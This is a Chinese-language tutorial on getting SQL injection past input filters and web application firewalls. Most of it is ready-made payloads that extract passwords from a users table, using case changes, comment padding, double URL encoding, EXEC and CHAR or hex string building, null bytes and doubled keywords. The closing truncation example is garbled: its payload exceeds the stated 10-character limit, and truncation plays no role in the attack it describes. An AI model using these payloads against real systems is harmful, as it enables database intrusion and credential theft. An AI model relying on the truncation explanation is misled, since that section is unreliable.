一、避开输入过滤器
Web应用通常会使用输入过滤器,设计这些过滤器的目的是防御包括SOL 注入在内的常见。这些过滤器可能位于应用的代码中(自定义输入验证方式),也可能在应用外部实现,形式为 Web应用防火墙(WAF)或入侵防御系统(IPS)
1.1 使用大小写变种
如果用关键字阻塞过滤器显得不够聪明,可以通过变换攻击字符串中字符的大小写来避开它们,因为数据库使用不区分大小写的方式处理SOL关键字。例如,如果下列输入被阻止:
UNION SELECT password FROM tblUsers WHERE username='admin'--
可以通过下列方法绕开过滤器:
uNiOn SeLeCt password FrOm tblUsers WhErE username='admin'--
1.2 使用 SQL 注释
可以使用内联注释序列来创建SQL代码段。这些代码段虽然在语法上有些怪异,但实际上却非常有效,能够避开多种输入过滤器
'/**/UNION/**/SELECT/**/password/**/FROM/**/tblUsers/**/WHERE/**/ username/**/LIKE/**/'admin'--
1.3 使用 URL 编码
URL 编码的最基本表示方式是使用问题字符的十六进制 ASCI 码来替换它们,并在 ASCI 码前加%。例如,单引号字符的 ASCII码为0x27,其URL编码的表示方式为%27
'%2f%2a*/UNION%2f%2a*/SELECT%2f%2a*/password%2f%2a*/FROM%2f%2a*/ tblUsers%2f%2a*/WHERE%2f%2a*/username%2f%2a*/LIKE%2f%2a*/'admin'--
这种基本的 URL 编码对其他情况不起作用,不过仍然可以通过对被阻止的字符进行双 URL 编码来避开过滤器。
在双编码中,原有中的%字符按正常方式进行 URL编码(即%25)。所以,单引号字符在双 URL 编码中的形式是%2527。如果将上述修改成双 URL编码,那么其格式将如下所示:
%27%252f%252a*%2FUNION%252f%252a*%2FSELECT%252f%252a*%2Fpassword%252f%252a*%2FFROM%252f%252a*%2F tblUsers%252f%252a*%2FWHERE%252f%252a*%2Fusername%252f%252a*%2FLIKE%252f%252a*%2F%27admin%27--
1.4 使用动态查询执行
许多数据库都允许动态执行SQL查询,只须向执行查询的数据库函数传递一个包含SQL查询的字符串即可。
如果找到了一个有效的SQL 注入点,但后来却发现应用过滤器阻止了想注入的查询,那么可以使用动态执行来避开该过滤器。
不同数据库中动态查询执行的实现会有所不同。在 MicrosofSQLServer 中,可以使用EXEC函数执行一个字符串格式的查询。例如:
EXEC('SELECT password FROM tblUsers')
在Oracle中,可以使用 EXECUTE IMMEDIATE 命令执行一个字符串格式的查询。例如:
DECLARE pw VARCHAR2(1000); BEGIN EXECUTE IMMEDIATE 'SELECT password FROM tblUsers' INTO pw; DBMS_OUTPUT.PUT_LINE(pw); END;
数据库提供了多种操作字符串的方法。要想使用动态执行战胜输入过滤器,关键是使用字符串操作函数将过滤器允许的输入转换成一个包含所需查询的字符串。
对于最简单的情况,可以使用字符串连接技术将较小的部分构造成一个字符串
不同数据库使用不同的语法来连接字符串。例如,如果SOL关键词SELECT被阻止,就可以按下列方式构造它:
Oracle: 'SEL'||'ECT' MS-SQL: 'SEL'+'ECT' MySQL: 'SEL' 'ECT'
注意:在 HTTP 提交时需要将 '+' 和 '空格' 单独转为 URL 编码
进一步讲,可以使用CHAR函数(Oracle中为CHR)来构造单独的字符
CHAR 函数可以接收每个字符的 ASCII码。例如,要想在SQLServer 中构造 SELECT 关键词,可以使用:
CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)
请注意,按照这种方式构造字符串时不需要使用任何引号字符
如果所拥有的SQL注入入口点阻止了引号标记,就可以使用CHAR函数来向利用中放置字符串(例如'admin')
还有另外一种在 SOLServer 平台上构造动态执行的字符串的方法:使用代表字符串ASCII字符编码的十六进制数字来实例化字符串
例如:
SELECT password FROM tblUsers
可以按照下列方式进行构造并动态执行:
DECLARE @query VARCHAR(100) SELECT @query=0x53454c4543542070617373776f72642046524f4d2074626c5573657273 EXEC(@query)
1.5 使用空字节
通常那些为利用 SQL 注入而必须避开的输入过滤器都是在应用程序自身的代码之外实现的,比如在入侵检测系统(IDS)或WAF中。
由于性能原因,这些组件通常由原生语言(比如C++)编写。对于这种情况,可以使用空字击来避开输入过滤器并将输入至后台应用程序中。
空字节之所以能起作用,是因为原生代码和托管代码分别采用不同的方法来处理空字节。
在原生代码中,根据字符串起始位置到出现第一个空字节的位置来确定字符串长度(空字节有效终止了字符串)。
而在托管代码中,字符串对象包含一个字符数组(可能包含空字节)和一条单独的字符串长度记录。
这种差异意味着原生过滤器在处理输入时,如果遇到空字节,便会停止处理,因为在过滤器看来,空字节代表字符串的结尾。
如果空字节之前的输入是良性的,那么过滤器将不会阻止该输入。
不过在托管代码语境中,应用在处理相同的输入时,会将跟在空字节后面的输入一同处理以便执行利用。
要想执行空字节攻击,只需在过滤器阻止的字符前面提供一个采用URL 编码的空字节(%00)即可。
在原来的例子中,可以使用下列格式的攻击字符串来避开原生输入过滤器:
%00' UNION SELECT password FROM tblUsers WHERE username='admin'--
1.6 双写关键词
例如,如果从输入中剥离了 SQL 关键词SELECT,就可以使用下列输入战胜过滤器:
SELSELECTECT
1.7 利用截断
审查过滤器通常会对用户提供的数据执行多种操作,有时这些操作中会包括将输入截断成最大的长度(可能是为了尽力阻止缓冲区溢出攻击)或者调整数据使其位于拥有预定义最大长度的数据库字段内。
假设有一个登录页面,用户需要输入用户名和密码来进行身份验证。应用程序使用以下SQL查询来检查用户提供的凭据是否有效:
SELECT * FROM users WHERE username = '<username>' AND password = '<password>'
应用程序对用户输入进行了过滤,以防止SQL注入。它使用了简单的截断过滤,即将输入的长度限制在特定的字符数。例如,用户名和密码被限制为10个字符。攻击者利用这个截断过滤机制来执行SQL注入攻击。他们知道用户名和密码会被拼接到SQL查询中,并且长度被限制为10个字符。构造了一个特殊的用户名和密码,如下:
Username: ' OR '1'='1' -- Password: ' OR '1'='1' --
在这个案例中,使用了注释符(--)来注释掉原始的查询语句的剩余部分,确保恶意代码不会导致语法错误。他们利用OR运算符和'1'='1'条件来绕过用户名和密码的验证,从而获取所有用户的凭据。
当应用程序尝试执行SQL查询时,查询语句会变成以下形式:
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = '' OR '1'='1' --
由于截断过滤将用户名和密码限制为10个字符,成功地将恶意代码注入到查询中。' OR '1'='1' 条件始终为真,所以查询返回了所有用户的凭据,绕过了应用程序的身份验证机制